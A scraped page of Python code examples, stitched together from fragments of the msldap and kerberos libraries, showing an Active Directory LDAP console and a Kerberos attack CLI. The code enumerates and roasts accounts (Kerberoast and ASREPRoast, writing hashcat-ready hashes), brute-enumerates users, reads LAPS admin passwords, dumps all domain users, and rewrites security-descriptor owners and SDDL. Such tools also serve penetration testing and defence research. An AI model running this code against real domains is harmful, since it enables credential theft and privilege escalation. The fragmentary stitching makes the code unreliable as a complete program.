			if err is not None:
				raise err
			
			return True
		except:
			traceback.print_exc()
			return False

	async def do_ldapinfo(self, show = True):
		"""Prints detailed LDAP connection info (DSA)"""
		try:
			if self.ldapinfo is None:
				self.ldapinfo = self.connection.get_server_info()
			if show is True:
				print(self.ldapinfo)
			return True
		except:
			traceback.print_exc()
			return False

	async def do_adinfo(self, show = True):
		"""Prints detailed Active Driectory info"""
		try:
			if self.adinfo is None:
				self.adinfo = self.connection._ldapinfo
			if show is True:
				print(self.adinfo)
		except:
			traceback.print_exc()

	async def do_spns(self):
		"""Fetches kerberoastable user accounts"""
		try:
			await self.do_ldapinfo(False)
			async for user in self.connection.get_all_service_user_objects():
				print(user.sAMAccountName)
		except:
			traceback.print_exc()
	
	async def do_asrep(self):
		"""Fetches ASREP-roastable user accounts"""
		try:
			await self.do_ldapinfo(False)
			async for user in self.connection.get_all_knoreq_user_objects():
				print(user.sAMAccountName)
		except:
			traceback.print_exc()


	async def do_dump(self):
		"""Fetches ALL user and machine accounts from the domain with a LOT of attributes"""
		try:
			await self.do_adinfo(False)
			await self.do_ldapinfo(False)
			
			users_filename = 'users_%s.tsv' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
			pbar = tqdm(desc = 'Writing users to file %s' % users_filename)
			with open(users_filename, 'w', newline='', encoding = 'utf8') as f:
				async for user in self.connection.get_all_user_objects():
					pbar.update()
					f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS)))
			print('Users dump was written to %s' % users_filename)
			
			users_filename = 'computers_%s.tsv' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
			pbar = tqdm(desc = 'Writing computers to file %s' % users_filename)
			with open(users_filename, 'w', newline='', encoding = 'utf8') as f:
				async for user in self.connection.get_all_machine_objects():
					pbar.update()
					f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS)))
			print('Computer dump was written to %s' % users_filename)
		except:
			traceback.print_exc()
		
	async def do_query(self, query, attributes = None):
		"""Performs a raw LDAP query against the server. Secondary parameter is the requested attributes SEPARATED WITH COMMA (,)"""
		try:
			await self.do_ldapinfo(False)
			if attributes is None:
				attributes = '*'
			if attributes.find(','):
				attributes = attributes.split(',')
			logging.debug('Query: %s' % (query))
			logging.debug('Attributes: %s' % (attributes))
			async for entry in self.connection.pagedsearch(query, attributes):
				print(entry)
		except:
			traceback.print_exc()

	async def do_tree(self, dn = None, level = 1):
		"""Prints a tree from the given DN (if not set, the top) and with a given depth (default: 1)"""
		try:
			await self.do_ldapinfo(False)
			if level is None:
				level = 1
			level = int(level)
			if dn is not None:
				try:
					int(dn)
				except:
					pass
				else:
					level = int(dn)
					dn = None
					
			if dn is None:
				await self.do_ldapinfo(False)
				dn = self.connection._tree
			logging.debug('Tree on %s' % dn)
			tree_data = await self.connection.get_tree_plot(dn, level)
			tr = LeftAligned()
			print(tr(tree_data))


		except:
			traceback.print_exc()

	async def do_user(self, samaccountname):
		"""Feteches a user object based on the sAMAccountName of the user"""
		try:
			await self.do_ldapinfo(False)
			await self.do_adinfo(False)
			async for user in self.connection.get_user(samaccountname):
				print(user)
		except:
			traceback.print_exc()

	async def do_acl(self, dn):
		"""Feteches security info for a given DN"""
		try:
			await self.do_ldapinfo(False)
			await self.do_adinfo(False)
			async for sec_info in self.connection.get_objectacl_by_dn(dn):
				print(str(SECURITY_DESCRIPTOR.from_bytes(sec_info.nTSecurityDescriptor)))
		except:
			traceback.print_exc()

	async def do_gpos(self):
		"""Feteches security info for a given DN"""
		try:
			await self.do_ldapinfo(False)
			await self.do_adinfo(False)
			async for gpo in self.connection.get_all_gpos():
				print(gpo)
		except:
			traceback.print_exc()

	async def do_laps(self):
		"""Feteches all laps passwords"""
		try:
			async for entry in self.connection.get_all_laps():
				pwd = '<MISSING>'
				if 'ms-mcs-AdmPwd' in entry['attributes']:
					pwd = entry['attributes']['ms-mcs-AdmPwd']
				print('%s : %s' % (entry['attributes']['cn'], pwd))
		except:
			traceback.print_exc()

	async def do_groupmembership(self, dn):
		"""Feteches names all groupnames the user is a member of for a given DN"""
		try:
			await self.do_ldapinfo(False)
			await self.do_adinfo(False)
			group_sids = []
			async for group_sid in self.connection.get_tokengroups(dn):
				group_sids.append(group_sids)
				group_dn = await self.connection.get_dn_for_objectsid(group_sid)
				print('%s - %s' % (group_dn, group_sid))
				
			if len(group_sids) == 0:
				print('No memberships found')
		except:
			traceback.print_exc()

	async def do_bindtree(self, newtree):
		"""Changes the LDAP TREE for future queries. 
				 MUST be DN format eg. 'DC=test,DC=corp'
				 !DANGER! Switching tree to a tree outside of the domain will trigger a connection to that domain, leaking credentials!"""
		self.connection._tree = newtree
	
	async def do_trusts(self):
		"""Feteches gives back domain trusts"""
		try:
			async for entry in self.connection.get_all_trusts():
				print(entry.get_line())
		except:
			traceback.print_exc()

	async def do_adduser(self, username, password):
		"""Creates a new domain user with password"""
		try:
			_, err = await self.connection.create_user(username, password)
			if err is not None:
				raise err
			print('User added')
		except:
			traceback.print_exc()

	
	async def do_deluser(self, user_dn):
		"""Deletes the user! This action is irrecoverable (actually domain admins can do that but probably will shout with you)"""
		try:
			_, err = await self.connection.delete_user(user_dn)
			if err is not None:
				raise err
			print('Goodbye, Caroline.')
		except:
			traceback.print_exc()

	async def do_changeuserpw(self, user_dn, newpass, oldpass = None):
		"""Changes user password, if you are admin then old pw doesnt need to be supplied"""
		try:
			_, err = await self.connection.change_password(user_dn, newpass, oldpass)
			if err is not None:
				raise err
			print('User password changed')
		except:
			traceback.print_exc()

	async def do_unlockuser(self, user_dn):
		"""Unlock user by setting lockoutTime to 0"""
		try:
			_, err = await self.connection.unlock_user(user_dn)
			if err is not None:
				raise err
			print('User unlocked')
		except:
			traceback.print_exc()

	async def do_enableuser(self, user_dn):
		"""Unlock user by flipping useraccountcontrol bits"""
		try:
			_, err = await self.connection.enable_user(user_dn)
			if err is not None:
				raise err
			print('User enabled')
		except:
			traceback.print_exc()

	async def do_disableuser(self, user_dn):
		"""Unlock user by flipping useraccountcontrol bits"""
		try:
			_, err = await self.connection.disable_user(user_dn)
			if err is not None:
				raise err
			print('User disabled')
		except:
			traceback.print_exc()

	async def do_addspn(self, user_dn, spn):
		"""Adds an SPN entry to the users account"""
		try:
			_, err = await self.connection.add_user_spn(user_dn, spn)
			if err is not None:
				raise err
			print('SPN added!')
		except:
			traceback.print_exc()

	async def do_addhostname(self, user_dn, hostname):
		"""Adds additional hostname to computer account"""
		try:
			_, err = await self.connection.add_additional_hostname(user_dn, hostname)
			if err is not None:
				raise err
			print('Hostname added!')
		except:
			traceback.print_exc()
			
	async def do_test(self):
		"""testing, dontuse"""
		try:
			async for entry in self.connection.get_all_objectacl():
				if entry.objectClass[-1] != 'user':
					print(entry.objectClass)
		except:
			traceback.print_exc()

	"""
Example #28
0
async def amain(args):
    if args.command == 'tgs':
        logging.debug('[TGS] started')
        ku = KerberosClientURL.from_url(args.kerberos_connection_url)
        cred = ku.get_creds()
        target = ku.get_target()
        spn = KerberosSPN.from_user_email(args.spn)

        logging.debug('[TGS] target user: %s' % spn.get_formatted_pname())
        logging.debug('[TGS] fetching TGT')
        kcomm = AIOKerberosClient(cred, target)
        await kcomm.get_TGT()
        logging.debug('[TGS] fetching TGS')
        await kcomm.get_TGS(spn)

        kcomm.ccache.to_file(args.out_file)
        logging.debug('[TGS] done!')

    elif args.command == 'tgt':
        logging.debug('[TGT] started')
        ku = KerberosClientURL.from_url(args.kerberos_connection_url)
        cred = ku.get_creds()
        target = ku.get_target()

        logging.debug('[TGT] cred: %s' % cred)
        logging.debug('[TGT] target: %s' % target)

        kcomm = AIOKerberosClient(cred, target)
        logging.debug('[TGT] fetching TGT')
        await kcomm.get_TGT()

        kcomm.ccache.to_file(args.out_file)
        logging.debug('[TGT] Done! TGT stored in CCACHE file')

    elif args.command == 'asreproast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        creds = []
        targets = get_targets_from_file(args, False)
        targets += get_target_from_args(args, False)
        if len(targets) == 0:
            raise Exception(
                'No targets were specified! Either use target file or specify target via cmdline'
            )

        logging.debug('[ASREPRoast] loaded %d targets' % len(targets))
        logging.debug(
            '[ASREPRoast] will suppoort the following encryption type: %s' %
            (str(args.etype)))

        ks = KerberosTarget(args.address)
        ar = APREPRoast(ks)
        hashes = []
        for target in targets:
            h = await ar.run(target, override_etype=[args.etype])
            hashes.append(h)

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('ASREPRoast complete')

    elif args.command == 'spnroast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')

        targets = get_targets_from_file(args)
        targets += get_target_from_args(args)
        if len(targets) == 0:
            raise Exception(
                'No targets were specified! Either use target file or specify target via cmdline'
            )

        logging.debug('Kerberoast loaded %d targets' % len(targets))

        if args.etype:
            if args.etype == -1:
                etypes = [23, 17, 18]
            else:
                etypes = [args.etype]
        else:
            etypes = [23, 17, 18]

        logging.debug(
            'Kerberoast will suppoort the following encryption type(s): %s' %
            (','.join(str(x) for x in etypes)))

        ku = KerberosClientURL.from_url(args.kerberos_connection_url)
        cred = ku.get_creds()
        target = ku.get_target()
        ar = Kerberoast(target, cred)
        hashes = await ar.run(targets, override_etype=etypes)

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('Kerberoast complete')

    elif args.command == 'brute':
        target = KerberosTarget(args.address)

        with open(args.targets, 'r') as f:
            for line in f:
                line = line.strip()
                spn = KerberosSPN()
                spn.username = line
                spn.domain = args.realm

                ke = KerberosUserEnum(target, spn)

                result = await ke.run()
                if result is True:
                    if args.out_file:
                        with open(args.out_file, 'a') as f:
                            f.write(result + '\r\n')
                    else:
                        print('[+] Enumerated user: %s' % str(spn))

        logging.info('Kerberos user enumeration complete')

    elif args.command == 'spnroast-sspi':
        if platform.system() != 'Windows':
            print('[-]This command only works on Windows!')
            return
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')

        targets = get_targets_from_file(args)
        targets += get_target_from_args(args)
        if len(targets) == 0:
            raise Exception(
                'No targets were specified! Either use target file or specify target via cmdline'
            )

        results = []
        errors = []
        for spn_name in targets:
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(
                    spn_name.get_formatted_pname())
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')

        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

        logging.info('SSPI based Kerberoast complete')

    elif args.command == 'spnroast-multiplexor':
        #hiding the import so it's not necessary to install multiplexor
        await spnmultiplexor(args)

    elif args.command == 'auto':
        if platform.system() != 'Windows':
            print('[-]This command only works on Windows!')
            return
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        domain = args.dc_ip
        url = 'ldap+sspi-ntlm://%s' % domain
        msldap_url = MSLDAPURLDecoder(url)
        client = msldap_url.get_client()
        _, err = await client.connect()
        if err is not None:
            raise err

        domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
            ',', '.')
        spn_users = []
        asrep_users = []
        results = []
        errors = []
        async for user, err in client.get_all_knoreq_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            asrep_users.append(cred)
        async for user, err in client.get_all_service_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            spn_users.append(cred)

        for cred in asrep_users:
            ks = KerberosTarget(domain)
            ar = APREPRoast(ks)
            res = await ar.run(cred, override_etype=[args.etype])
            results.append(res)

        for cred in spn_users:
            spn_name = '%s@%s' % (cred.username, cred.domain)
            if spn_name[:6] == 'krbtgt':
                continue
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')
        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

    elif args.command == 'ldap':
        ldap_url = MSLDAPURLDecoder(args.ldap_url)
        client = ldap_url.get_client()
        _, err = await client.connect()
        if err is not None:
            raise err

        domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
            ',', '.')

        if args.out_file:
            basefolder = ntpath.dirname(args.out_file)
            basefile = ntpath.basename(args.out_file)

        if args.type in ['spn', 'all']:
            logging.debug('Enumerating SPN user accounts...')
            cnt = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_spn_users.txt'),
                          'w',
                          newline='') as f:
                    async for user in client.get_all_service_users():
                        cnt += 1
                        f.write('%s@%s\r\n' % (user.sAMAccountName, domain))

            else:
                print('[+] SPN users')
                async for user, err in client.get_all_service_users():
                    if err is not None:
                        raise err
                    cnt += 1
                    print('%s@%s' % (user.sAMAccountName, domain))

            logging.debug('Enumerated %d SPN user accounts' % cnt)

        if args.type in ['asrep', 'all']:
            logging.debug('Enumerating ASREP user accounts...')
            ctr = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_asrep_users.txt'),
                          'w',
                          newline='') as f:
                    async for user, err in client.get_all_knoreq_users():
                        if err is not None:
                            raise err
                        ctr += 1
                        f.write('%s@%s\r\n' % (user.sAMAccountName, domain))
            else:
                print('[+] ASREP users')
                async for user, err in client.get_all_knoreq_users():
                    if err is not None:
                        raise err
                    ctr += 1
                    print('%s@%s' % (user.sAMAccountName, domain))

            logging.debug('Enumerated %d ASREP user accounts' % ctr)

        if args.type in ['full', 'all']:
            logging.debug(
                'Enumerating ALL user accounts, this will take some time depending on the size of the domain'
            )
            ctr = 0
            attrs = args.attrs if args.attrs is not None else MSADUser_TSV_ATTRS
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_users.tsv'),
                          'w',
                          newline='',
                          encoding='utf8') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(attrs)
                    async for user, err in client.get_all_users():
                        if err is not None:
                            raise err
                        ctr += 1
                        writer.writerow(user.get_row(attrs))

            else:
                logging.debug('Are you sure about this?')
                print('[+] Full user dump')
                print('\t'.join(attrs))
                async for user, err in client.get_all_users():
                    if err is not None:
                        raise err
                    ctr += 1
                    print('\t'.join([str(x) for x in user.get_row(attrs)]))

            logging.debug('Enumerated %d user accounts' % ctr)

        if args.type in ['custom']:
            if not args.filter:
                raise Exception(
                    'Custom LDAP search requires the search filter to be specified!'
                )
            if not args.attrs:
                raise Exception(
                    'Custom LDAP search requires the attributes to be specified!'
                )

            logging.debug(
                'Perforing search on the AD with the following filter: %s' %
                args.filter)
            logging.debug('Search will contain the following attributes: %s' %
                          ','.join(args.attrs))
            ctr = 0

            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_custom.tsv'),
                          'w',
                          newline='') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(args.attrs)
                    async for obj, err in client.pagedsearch(
                            args.filter, args.attrs):
                        if err is not None:
                            raise err
                        ctr += 1
                        writer.writerow([
                            str(obj['attributes'].get(x, 'N/A'))
                            for x in args.attrs
                        ])

            else:
                async for obj, err in client.pagedsearch(
                        args.filter, args.attrs):
                    if err is not None:
                        raise err
                    ctr += 1
                    print('\t'.join([
                        str(obj['attributes'].get(x, 'N/A'))
                        for x in args.attrs
                    ]))
Example #29
0
class MSLDAPClient(aiocmd.PromptToolkitCmd):
    def __init__(self, url=None):
        aiocmd.PromptToolkitCmd.__init__(
            self, ignore_sigint=False
        )  #Setting this to false, since True doesnt work on windows...
        self.conn_url = None
        if url is not None:
            self.conn_url = MSLDAPURLDecoder(url)
        self.connection = None
        self.adinfo = None
        self.ldapinfo = None

    async def do_login(self, url=None):
        """Performs connection and login"""
        try:
            print('url %s' % repr(url))

            if self.conn_url is None and url is None:
                print('Not url was set, cant do logon')
            if url is not None:
                self.conn_url = MSLDAPURLDecoder(url)

            print(self.conn_url.get_credential())
            print(self.conn_url.get_target())

            self.connection = self.conn_url.get_connection()
            self.connection.connect()

        except Exception as e:
            traceback.print_exc()

    async def do_ldapinfo(self, show=True):
        """Prints detailed LDAP connection info (DSA)"""
        try:
            if self.ldapinfo is None:
                self.ldapinfo = self.connection.get_server_info()
            if show is True:
                print(self.ldapinfo)
        except Exception as e:
            traceback.print_exc()

    async def do_adinfo(self, show=True):
        """Prints detailed Active Driectory info"""
        try:
            if self.adinfo is None:
                self.adinfo = self.connection.get_ad_info()
            if show is True:
                print(self.adinfo)
        except Exception as e:
            traceback.print_exc()

    async def do_spns(self):
        """Fetches kerberoastable user accounts"""
        try:
            await self.do_ldapinfo(False)
            for user in self.connection.get_all_service_user_objects():
                print(user.sAMAccountName)
        except Exception as e:
            traceback.print_exc()

    async def do_asrep(self):
        """Fetches ASREP-roastable user accounts"""
        try:
            await self.do_ldapinfo(False)
            for user in self.connection.get_all_knoreq_user_objects():
                print(user.sAMAccountName)
        except Exception as e:
            traceback.print_exc()

    async def do_dump(self):
        """Fetches ALL user and machine accounts from the domain with a LOT of attributes"""
        try:
            await self.do_adinfo(False)
            await self.do_ldapinfo(False)
            for user in self.connection.get_all_user_objects():
                print(user.get_row(MSADUser.TSV_ATTRS))
            #with open(args.outfile, 'w', newline='', encoding = 'utf8') as f:
            #   writer = csv.writer(f, delimiter = '\t')
            #   writer.writerow(MSADUser.TSV_ATTRS)
            #   for user in connection.get_all_user_objects():
            #       writer.writerow(user.get_row(MSADUser.TSV_ATTRS))
        except Exception as e:
            traceback.print_exc()

    async def do_query(self, query, attributes=None):
        """Performs a raw LDAP query against the server. Secondary parameter is the requested attributes SEPARATED WITH COMMA (,)"""
        try:
            await self.do_ldapinfo(False)
            if attributes is None:
                attributes = '*'
            if attributes.find(','):
                attributes = attributes.split(',')
            logging.debug('Query: %s' % (query))
            logging.debug('Attributes: %s' % (attributes))
            for entry in self.connection.pagedsearch(query, attributes):
                print(entry)
        except Exception as e:
            traceback.print_exc()

    async def do_tree(self, dn=None, level=1):
        """Prints a tree from the given DN (if not set, the top) and with a given depth (default: 1)"""
        try:
            await self.do_ldapinfo(False)
            if level is None:
                level = 1
            level = int(level)
            if dn is not None:
                try:
                    int(dn)
                except:
                    pass
                else:
                    level = int(dn)
                    dn = None

            if dn is None:
                await self.do_ldapinfo(False)
                dn = self.connection._tree
            logging.debug('Tree on %s' % dn)
            tree_data = self.connection.get_tree_plot(dn, level)
            tr = LeftAligned()
            print(tr(tree_data))

        except Exception as e:
            traceback.print_exc()

    async def do_user(self, samaccountname):
        """Feteches a user object based on the sAMAccountName of the user"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            for user in self.connection.get_user(samaccountname):
                print(user)
        except Exception as e:
            traceback.print_exc()

    async def do_acl(self, dn):
        """Feteches security info for a given DN"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            for sec_info in self.connection.get_objectacl_by_dn(dn):
                print(sec_info)
        except Exception as e:
            traceback.print_exc()

    async def do_groupmembership(self, dn):
        """Feteches names all groupnames the user is a member of for a given DN"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            group_sids = []
            for group_sid in self.connection.get_tokengroups(dn):
                group_sids.append(group_sids)
                group_dn = self.connection.get_dn_for_objectsid(group_sid)
                print('%s - %s' % (group_dn, group_sid))

            if len(group_sids) == 0:
                print('No memberships found')
        except Exception as e:
            traceback.print_exc()

    """
Example #30
0
class MSLDAPClientConsole(aiocmd.PromptToolkitCmd):
    def __init__(self, url=None):
        aiocmd.PromptToolkitCmd.__init__(
            self, ignore_sigint=False
        )  #Setting this to false, since True doesnt work on windows...
        self.conn_url = None
        if url is not None:
            self.conn_url = MSLDAPURLDecoder(url)
        self.connection = None
        self.adinfo = None
        self.ldapinfo = None
        self.domain_name = None

    async def do_login(self, url=None):
        """Performs connection and login"""
        try:
            if self.conn_url is None and url is None:
                print('Not url was set, cant do logon')
            if url is not None:
                self.conn_url = MSLDAPURLDecoder(url)

            logger.debug(self.conn_url.get_credential())
            logger.debug(self.conn_url.get_target())

            self.connection = self.conn_url.get_client()
            _, err = await self.connection.connect()
            if err is not None:
                raise err

            return True
        except:
            traceback.print_exc()
            return False

    async def do_ldapinfo(self, show=True):
        """Prints detailed LDAP connection info (DSA)"""
        try:
            if self.ldapinfo is None:
                self.ldapinfo = self.connection.get_server_info()
            if show is True:
                for k in self.ldapinfo:
                    print('%s : %s' % (k, self.ldapinfo[k]))
            return True
        except:
            traceback.print_exc()
            return False

    async def do_adinfo(self, show=True):
        """Prints detailed Active Driectory info"""
        try:
            if self.adinfo is None:
                self.adinfo = self.connection._ldapinfo
                self.domain_name = self.adinfo.distinguishedName.replace(
                    'DC', '').replace('=', '').replace(',', '.')
            if show is True:
                print(self.adinfo)
        except:
            traceback.print_exc()

    async def do_spns(self):
        """Fetches kerberoastable user accounts"""
        try:
            await self.do_ldapinfo(False)
            async for user, err in self.connection.get_all_service_users():
                if err is not None:
                    raise err
                print(user.sAMAccountName)
        except:
            traceback.print_exc()

    async def do_asrep(self):
        """Fetches ASREP-roastable user accounts"""
        try:
            await self.do_ldapinfo(False)
            async for user, err in self.connection.get_all_knoreq_users():
                if err is not None:
                    raise err
                print(user.sAMAccountName)
        except:
            traceback.print_exc()

    async def do_computeraddr(self):
        """Fetches all computer accounts"""
        try:
            await self.do_adinfo(False)
            #machine_filename = '%s_computers_%s.txt' % (self.domain_name, datetime.datetime.now().strftime("%Y%m%d-%H%M%S"))
            async for machine, err in self.connection.get_all_machines(
                attrs=['sAMAccountName', 'dNSHostName']):
                if err is not None:
                    raise err

                dns = machine.dNSHostName
                if dns is None:
                    dns = '%s.%s' % (machine.sAMAccountName[:-1],
                                     self.domain_name)

                print(str(dns))
        except:
            traceback.print_exc()

    async def do_dump(self):
        """Fetches ALL user and machine accounts from the domain with a LOT of attributes"""
        try:
            await self.do_adinfo(False)
            await self.do_ldapinfo(False)

            users_filename = 'users_%s.tsv' % datetime.datetime.now().strftime(
                "%Y%m%d-%H%M%S")
            pbar = tqdm(desc='Writing users to file %s' % users_filename)
            with open(users_filename, 'w', newline='', encoding='utf8') as f:
                async for user, err in self.connection.get_all_users():
                    if err is not None:
                        raise err
                    pbar.update()
                    f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS)))
            print('Users dump was written to %s' % users_filename)

            users_filename = 'computers_%s.tsv' % datetime.datetime.now(
            ).strftime("%Y%m%d-%H%M%S")
            pbar = tqdm(desc='Writing computers to file %s' % users_filename)
            with open(users_filename, 'w', newline='', encoding='utf8') as f:
                async for user, err in self.connection.get_all_machines():
                    if err is not None:
                        raise err
                    pbar.update()
                    f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS)))
            print('Computer dump was written to %s' % users_filename)
        except:
            traceback.print_exc()

    async def do_query(self, query, attributes=None):
        """Performs a raw LDAP query against the server. Secondary parameter is the requested attributes SEPARATED WITH COMMA (,)"""
        try:
            await self.do_ldapinfo(False)
            if attributes is None:
                attributes = '*'
            if attributes.find(','):
                attributes = attributes.split(',')
            logging.debug('Query: %s' % (query))
            logging.debug('Attributes: %s' % (attributes))
            async for entry, err in self.connection.pagedsearch(
                    query, attributes):
                if err is not None:
                    raise err
                print(entry)
        except:
            traceback.print_exc()

    async def do_tree(self, dn=None, level=1):
        """Prints a tree from the given DN (if not set, the top) and with a given depth (default: 1)"""
        try:
            await self.do_ldapinfo(False)
            if level is None:
                level = 1
            level = int(level)
            if dn is not None:
                try:
                    int(dn)
                except:
                    pass
                else:
                    level = int(dn)
                    dn = None

            if dn is None:
                await self.do_ldapinfo(False)
                dn = self.connection._tree
            logging.debug('Tree on %s' % dn)
            tree_data = await self.connection.get_tree_plot(dn, level)
            tr = LeftAligned()
            print(tr(tree_data))

        except:
            traceback.print_exc()

    async def do_user(self, samaccountname):
        """Feteches a user object based on the sAMAccountName of the user"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            user, err = await self.connection.get_user(samaccountname)
            if err is not None:
                raise err
            if user is None:
                print('User not found!')
            else:
                print(user)
        except:
            traceback.print_exc()

    async def do_machine(self, samaccountname):
        """Feteches a machine object based on the sAMAccountName of the machine"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            machine, err = await self.connection.get_machine(samaccountname)
            if err is not None:
                raise err
            if machine is None:
                print('machine not found!')
            else:
                print(machine)
                ####TEST
                x = SECURITY_DESCRIPTOR.from_bytes(
                    machine.allowedtoactonbehalfofotheridentity)
                print(x)
        except:
            traceback.print_exc()

    async def do_schemaentry(self, cn):
        """Feteches a schema object entry object based on the DN of the object (must start with CN=)"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            schemaentry, err = await self.connection.get_schemaentry(cn)
            if err is not None:
                raise err

            print(str(schemaentry))

        except:
            traceback.print_exc()

    async def do_allschemaentry(self):
        """Feteches all schema object entry objects"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            async for schemaentry, err in self.connection.get_all_schemaentry(
            ):
                if err is not None:
                    raise err

                print(str(schemaentry))

        except:
            traceback.print_exc()

    #async def do_addallowedtoactonbehalfofotheridentity(self, target_name, add_computer_name):
    #	"""Adds a SID to the msDS-AllowedToActOnBehalfOfOtherIdentity protperty of target_dn"""
    #	try:
    #		await self.do_ldapinfo(False)
    #		await self.do_adinfo(False)
    #
    #		try:
    #			new_owner_sid = SID.from_string(sid)
    #		except:
    #			print('Incorrect SID!')
    #			return False, Exception('Incorrect SID')
    #
    #
    #		target_sd = None
    #		if target_attribute is None or target_attribute == '':
    #			target_attribute = 'nTSecurityDescriptor'
    #			res, err = await self.connection.get_objectacl_by_dn(target_dn)
    #			if err is not None:
    #				raise err
    #			target_sd = SECURITY_DESCRIPTOR.from_bytes(res)
    #		else:
    #
    #			query = '(distinguishedName=%s)' % target_dn
    #			async for entry, err in self.connection.pagedsearch(query, [target_attribute]):
    #				if err is not None:
    #					raise err
    #				print(entry['attributes'][target_attribute])
    #				target_sd = SECURITY_DESCRIPTOR.from_bytes(entry['attributes'][target_attribute])
    #				break
    #			else:
    #				print('Target DN not found!')
    #				return False, Exception('Target DN not found!')
    #
    #		print(target_sd)
    #		new_sd = copy.deepcopy(target_sd)
    #		new_sd.Owner = new_owner_sid
    #		print(new_sd)
    #
    #		changes = {
    #			target_attribute : [('replace', [new_sd.to_bytes()])]
    #		}
    #		_, err = await self.connection.modify(target_dn, changes)
    #		if err is not None:
    #			raise err
    #
    #		print('Change OK!')
    #	except:
    #		traceback.print_exc()

    async def do_changeowner(self,
                             new_owner_sid,
                             target_dn,
                             target_attribute=None):
        """Changes the owner in a Security Descriptor to the new_owner_sid on an LDAP object or on an LDAP object's attribute identified by target_dn and target_attribute. target_attribute can be omitted to change the target_dn's SD's owner"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)

            try:
                new_owner_sid = SID.from_string(new_owner_sid)
            except:
                print('Incorrect SID!')
                return False, Exception('Incorrect SID')

            target_sd = None
            if target_attribute is None or target_attribute == '':
                target_attribute = 'nTSecurityDescriptor'
                res, err = await self.connection.get_objectacl_by_dn(target_dn)
                if err is not None:
                    raise err
                target_sd = SECURITY_DESCRIPTOR.from_bytes(res)
            else:

                query = '(distinguishedName=%s)' % target_dn
                async for entry, err in self.connection.pagedsearch(
                        query, [target_attribute]):
                    if err is not None:
                        raise err
                    print(entry['attributes'][target_attribute])
                    target_sd = SECURITY_DESCRIPTOR.from_bytes(
                        entry['attributes'][target_attribute])
                    break
                else:
                    print('Target DN not found!')
                    return False, Exception('Target DN not found!')

            new_sd = copy.deepcopy(target_sd)
            new_sd.Owner = new_owner_sid

            changes = {target_attribute: [('replace', [new_sd.to_bytes()])]}
            _, err = await self.connection.modify(target_dn, changes)
            if err is not None:
                raise err

            print('Change OK!')
        except:
            traceback.print_exc()

    async def do_setsd(self, target_dn, sddl):
        """Updates the security descriptor of an object"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)

            try:
                new_sd = SECURITY_DESCRIPTOR.from_sddl(sddl)
            except:
                print('Incorrect SDDL input!')
                return False, Exception('Incorrect SDDL input!')

            _, err = await self.connection.set_objectacl_by_dn(
                target_dn, new_sd.to_bytes())
            if err is not None:
                raise err
            print('Change OK!')
        except:
            print('Erro while updating security descriptor!')
            traceback.print_exc()

    async def do_getsd(self, dn):
        """Feteches security info for a given DN"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            sec_info, err = await self.connection.get_objectacl_by_dn(dn)
            if err is not None:
                raise err
            sd = SECURITY_DESCRIPTOR.from_bytes(sec_info)
            print(sd.to_sddl())
        except:
            traceback.print_exc()

    async def do_gpos(self):
        """Feteches security info for a given DN"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            async for gpo, err in self.connection.get_all_gpos():
                if err is not None:
                    raise err
                print(gpo)
        except:
            traceback.print_exc()

    async def do_laps(self):
        """Feteches all laps passwords"""
        try:
            async for entry, err in self.connection.get_all_laps():
                if err is not None:
                    raise err
                pwd = '<MISSING>'
                if 'ms-Mcs-AdmPwd' in entry['attributes']:
